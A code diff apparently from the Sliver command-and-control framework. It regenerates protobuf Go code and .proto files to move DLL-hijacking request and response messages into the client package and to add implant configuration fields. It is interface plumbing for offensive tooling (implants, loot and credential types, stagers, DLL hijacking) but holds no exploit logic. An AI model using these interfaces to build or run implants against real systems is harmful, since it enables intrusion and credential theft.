0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12,
|
||||
0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12,
|
||||
0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x0d,
|
||||
0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a,
|
||||
0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01,
|
||||
0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2e, 0x0a, 0x08, 0x4c,
|
||||
0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0d, 0x0a, 0x09, 0x4c, 0x4f, 0x4f, 0x54, 0x5f,
|
||||
0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x4f, 0x54, 0x5f, 0x43,
|
||||
0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x01, 0x2a, 0x4d, 0x0a, 0x0e, 0x43,
|
||||
0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x11, 0x0a,
|
||||
0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x00,
|
||||
0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52, 0x5f, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52,
|
||||
0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41, 0x50, 0x49, 0x5f, 0x4b, 0x45, 0x59, 0x10, 0x02,
|
||||
0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69,
|
||||
0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c,
|
||||
0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12,
|
||||
0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74,
|
||||
0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f,
|
||||
0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75,
|
||||
0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74,
|
||||
0x6f, 0x33,
|
||||
0x22, 0xf3, 0x01, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65,
|
||||
0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c,
|
||||
0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66,
|
||||
0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a,
|
||||
0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18,
|
||||
0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63,
|
||||
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e,
|
||||
0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66,
|
||||
0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72,
|
||||
0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61,
|
||||
0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69,
|
||||
0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72,
|
||||
0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71,
|
||||
0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d,
|
||||
0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52,
|
||||
0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a,
|
||||
0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18,
|
||||
0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
|
||||
0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f,
|
||||
0x6e, 0x73, 0x65, 0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72,
|
||||
0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49,
|
||||
0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45,
|
||||
0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45,
|
||||
0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x2a,
|
||||
0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c,
|
||||
0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54,
|
||||
0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2e,
|
||||
0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0d, 0x0a, 0x09, 0x4c, 0x4f,
|
||||
0x4f, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x4f,
|
||||
0x54, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x01, 0x2a, 0x4d,
|
||||
0x0a, 0x0e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65,
|
||||
0x12, 0x11, 0x0a, 0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41,
|
||||
0x4c, 0x10, 0x00, 0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52, 0x5f, 0x50, 0x41, 0x53, 0x53,
|
||||
0x57, 0x4f, 0x52, 0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41, 0x50, 0x49, 0x5f, 0x4b, 0x45,
|
||||
0x59, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a,
|
||||
0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f,
|
||||
0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59,
|
||||
0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x42, 0x2f, 0x5a, 0x2d,
|
||||
0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f,
|
||||
0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74,
|
||||
0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70,
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
}
|
||||
|
||||
var (
|
||||
@@ -5290,7 +5464,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte {
|
||||
}
|
||||
|
||||
var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 5)
|
||||
var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 69)
|
||||
var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 71)
|
||||
var file_clientpb_client_proto_goTypes = []interface{}{
|
||||
(OutputFormat)(0), // 0: clientpb.OutputFormat
|
||||
(StageProtocol)(0), // 1: clientpb.StageProtocol
|
||||
@@ -5362,18 +5536,20 @@ var file_clientpb_client_proto_goTypes = []interface{}{
|
||||
(*ExtensionData)(nil), // 67: clientpb.ExtensionData
|
||||
(*Host)(nil), // 68: clientpb.Host
|
||||
(*AllHosts)(nil), // 69: clientpb.AllHosts
|
||||
nil, // 70: clientpb.ImplantBuilds.ConfigsEntry
|
||||
nil, // 71: clientpb.WebsiteAddContent.ContentsEntry
|
||||
nil, // 72: clientpb.Website.ContentsEntry
|
||||
nil, // 73: clientpb.Host.ExtensionDataEntry
|
||||
(*commonpb.Request)(nil), // 74: commonpb.Request
|
||||
(*commonpb.Response)(nil), // 75: commonpb.Response
|
||||
(*commonpb.File)(nil), // 76: commonpb.File
|
||||
(*DllHijackReq)(nil), // 70: clientpb.DllHijackReq
|
||||
(*DllHijack)(nil), // 71: clientpb.DllHijack
|
||||
nil, // 72: clientpb.ImplantBuilds.ConfigsEntry
|
||||
nil, // 73: clientpb.WebsiteAddContent.ContentsEntry
|
||||
nil, // 74: clientpb.Website.ContentsEntry
|
||||
nil, // 75: clientpb.Host.ExtensionDataEntry
|
||||
(*commonpb.Request)(nil), // 76: commonpb.Request
|
||||
(*commonpb.Response)(nil), // 77: commonpb.Response
|
||||
(*commonpb.File)(nil), // 78: commonpb.File
|
||||
}
|
||||
var file_clientpb_client_proto_depIdxs = []int32{
|
||||
7, // 0: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
|
||||
0, // 1: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat
|
||||
70, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
|
||||
72, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
|
||||
0, // 3: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat
|
||||
10, // 4: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
|
||||
11, // 5: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
|
||||
@@ -5382,50 +5558,52 @@ var file_clientpb_client_proto_depIdxs = []int32{
|
||||
8, // 8: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
|
||||
17, // 9: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
|
||||
20, // 10: clientpb.Jobs.Active:type_name -> clientpb.Job
|
||||
74, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
|
||||
75, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
|
||||
74, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
|
||||
75, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
|
||||
76, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
|
||||
77, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
|
||||
76, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
|
||||
77, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
|
||||
6, // 15: clientpb.Sessions.Sessions:type_name -> clientpb.Session
|
||||
8, // 16: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
|
||||
76, // 17: clientpb.Generate.File:type_name -> commonpb.File
|
||||
74, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
|
||||
74, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
|
||||
78, // 17: clientpb.Generate.File:type_name -> commonpb.File
|
||||
76, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
|
||||
76, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
|
||||
1, // 20: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol
|
||||
1, // 21: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol
|
||||
76, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
|
||||
78, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
|
||||
8, // 23: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
|
||||
74, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
|
||||
76, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
|
||||
8, // 25: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
|
||||
74, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
|
||||
74, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
|
||||
74, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
|
||||
76, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
|
||||
76, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
|
||||
76, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
|
||||
56, // 29: clientpb.Client.Operator:type_name -> clientpb.Operator
|
||||
6, // 30: clientpb.Event.Session:type_name -> clientpb.Session
|
||||
20, // 31: clientpb.Event.Job:type_name -> clientpb.Job
|
||||
53, // 32: clientpb.Event.Client:type_name -> clientpb.Client
|
||||
56, // 33: clientpb.Operators.Operators:type_name -> clientpb.Operator
|
||||
71, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
|
||||
72, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
|
||||
73, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
|
||||
74, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
|
||||
60, // 36: clientpb.Websites.Websites:type_name -> clientpb.Website
|
||||
2, // 37: clientpb.Loot.Type:type_name -> clientpb.LootType
|
||||
3, // 38: clientpb.Loot.CredentialType:type_name -> clientpb.CredentialType
|
||||
63, // 39: clientpb.Loot.Credential:type_name -> clientpb.Credential
|
||||
4, // 40: clientpb.Loot.FileType:type_name -> clientpb.FileType
|
||||
76, // 41: clientpb.Loot.File:type_name -> commonpb.File
|
||||
78, // 41: clientpb.Loot.File:type_name -> commonpb.File
|
||||
64, // 42: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
|
||||
66, // 43: clientpb.Host.IOCs:type_name -> clientpb.IOC
|
||||
73, // 44: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
|
||||
75, // 44: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
|
||||
68, // 45: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
|
||||
8, // 46: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
|
||||
57, // 47: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
57, // 48: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
67, // 49: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
|
||||
50, // [50:50] is the sub-list for method output_type
|
||||
50, // [50:50] is the sub-list for method input_type
|
||||
50, // [50:50] is the sub-list for extension type_name
|
||||
50, // [50:50] is the sub-list for extension extendee
|
||||
0, // [0:50] is the sub-list for field type_name
|
||||
76, // 46: clientpb.DllHijackReq.Request:type_name -> commonpb.Request
|
||||
77, // 47: clientpb.DllHijack.Response:type_name -> commonpb.Response
|
||||
8, // 48: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
|
||||
57, // 49: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
57, // 50: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
67, // 51: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
|
||||
52, // [52:52] is the sub-list for method output_type
|
||||
52, // [52:52] is the sub-list for method input_type
|
||||
52, // [52:52] is the sub-list for extension type_name
|
||||
52, // [52:52] is the sub-list for extension extendee
|
||||
0, // [0:52] is the sub-list for field type_name
|
||||
}
|
||||
|
||||
func init() { file_clientpb_client_proto_init() }
|
||||
@@ -6214,6 +6392,30 @@ func file_clientpb_client_proto_init() {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*DllHijackReq); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*DllHijack); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
type x struct{}
|
||||
out := protoimpl.TypeBuilder{
|
||||
@@ -6221,7 +6423,7 @@ func file_clientpb_client_proto_init() {
|
||||
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
|
||||
RawDescriptor: file_clientpb_client_proto_rawDesc,
|
||||
NumEnums: 5,
|
||||
NumMessages: 69,
|
||||
NumMessages: 71,
|
||||
NumExtensions: 0,
|
||||
NumServices: 0,
|
||||
},
|
||||
|
||||
@@ -60,6 +60,8 @@ enum OutputFormat {
|
||||
}
|
||||
|
||||
message ImplantConfig {
|
||||
string ID = 100;
|
||||
|
||||
string GOOS = 1;
|
||||
string GOARCH = 2;
|
||||
string Name = 3;
|
||||
@@ -83,6 +85,7 @@ message ImplantConfig {
|
||||
// c2
|
||||
repeated ImplantC2 C2 = 10;
|
||||
repeated string CanaryDomains = 11;
|
||||
string ConnectionStrategy = 39;
|
||||
|
||||
bool LimitDomainJoined = 20;
|
||||
string LimitDatetime = 21;
|
||||
@@ -521,4 +524,19 @@ message Host {
|
||||
|
||||
message AllHosts {
|
||||
repeated Host Hosts = 1;
|
||||
}
|
||||
}
|
||||
|
||||
// [ Dll Hijack ] ----------------------------------------
|
||||
message DllHijackReq {
|
||||
string ReferenceDLLPath = 1;
|
||||
string TargetLocation = 2;
|
||||
bytes ReferenceDLL = 3;
|
||||
bytes TargetDLL = 4;
|
||||
string ProfileName = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message DllHijack {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
@@ -350,8 +350,8 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61,
|
||||
0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12,
|
||||
0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69,
|
||||
0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69,
|
||||
0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
|
||||
0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08,
|
||||
0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a,
|
||||
@@ -488,7 +488,7 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
(*sliverpb.RegistrySubKeyListReq)(nil), // 62: sliverpb.RegistrySubKeyListReq
|
||||
(*sliverpb.RegistryListValuesReq)(nil), // 63: sliverpb.RegistryListValuesReq
|
||||
(*sliverpb.SSHCommandReq)(nil), // 64: sliverpb.SSHCommandReq
|
||||
(*sliverpb.DllHijackReq)(nil), // 65: sliverpb.DllHijackReq
|
||||
(*clientpb.DllHijackReq)(nil), // 65: clientpb.DllHijackReq
|
||||
(*sliverpb.GetPrivsReq)(nil), // 66: sliverpb.GetPrivsReq
|
||||
(*sliverpb.RegisterExtensionReq)(nil), // 67: sliverpb.RegisterExtensionReq
|
||||
(*sliverpb.CallExtensionReq)(nil), // 68: sliverpb.CallExtensionReq
|
||||
@@ -564,7 +564,7 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
(*sliverpb.RegistrySubKeyList)(nil), // 138: sliverpb.RegistrySubKeyList
|
||||
(*sliverpb.RegistryValuesList)(nil), // 139: sliverpb.RegistryValuesList
|
||||
(*sliverpb.SSHCommand)(nil), // 140: sliverpb.SSHCommand
|
||||
(*sliverpb.DllHijack)(nil), // 141: sliverpb.DllHijack
|
||||
(*clientpb.DllHijack)(nil), // 141: clientpb.DllHijack
|
||||
(*sliverpb.GetPrivs)(nil), // 142: sliverpb.GetPrivs
|
||||
(*sliverpb.RegisterExtension)(nil), // 143: sliverpb.RegisterExtension
|
||||
(*sliverpb.CallExtension)(nil), // 144: sliverpb.CallExtension
|
||||
@@ -667,7 +667,7 @@ var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
62, // 86: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
|
||||
63, // 87: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
|
||||
64, // 88: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
|
||||
65, // 89: rpcpb.SliverRPC.HijackDLL:input_type -> sliverpb.DllHijackReq
|
||||
65, // 89: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
|
||||
66, // 90: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
|
||||
67, // 91: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
|
||||
68, // 92: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
|
||||
@@ -773,7 +773,7 @@ var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
138, // 192: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
139, // 193: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
||||
140, // 194: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
141, // 195: rpcpb.SliverRPC.HijackDLL:output_type -> sliverpb.DllHijack
|
||||
141, // 195: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
142, // 196: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
143, // 197: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
144, // 198: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
|
||||
@@ -121,7 +121,7 @@ service SliverRPC {
|
||||
rpc RegistryListSubKeys(sliverpb.RegistrySubKeyListReq) returns (sliverpb.RegistrySubKeyList);
|
||||
rpc RegistryListValues(sliverpb.RegistryListValuesReq) returns (sliverpb.RegistryValuesList);
|
||||
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
|
||||
rpc HijackDLL(sliverpb.DllHijackReq) returns (sliverpb.DllHijack);
|
||||
rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
|
||||
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
|
||||
// Extensions
|
||||
rpc RegisterExtension(sliverpb.RegisterExtensionReq) returns (sliverpb.RegisterExtension);
|
||||
|
||||
@@ -122,7 +122,7 @@ type SliverRPCClient interface {
|
||||
RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error)
|
||||
RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error)
|
||||
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error)
|
||||
HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
|
||||
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
|
||||
// Extensions
|
||||
RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
|
||||
@@ -955,8 +955,8 @@ func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCom
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error) {
|
||||
out := new(sliverpb.DllHijack)
|
||||
func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error) {
|
||||
out := new(clientpb.DllHijack)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HijackDLL", in, out, opts...)
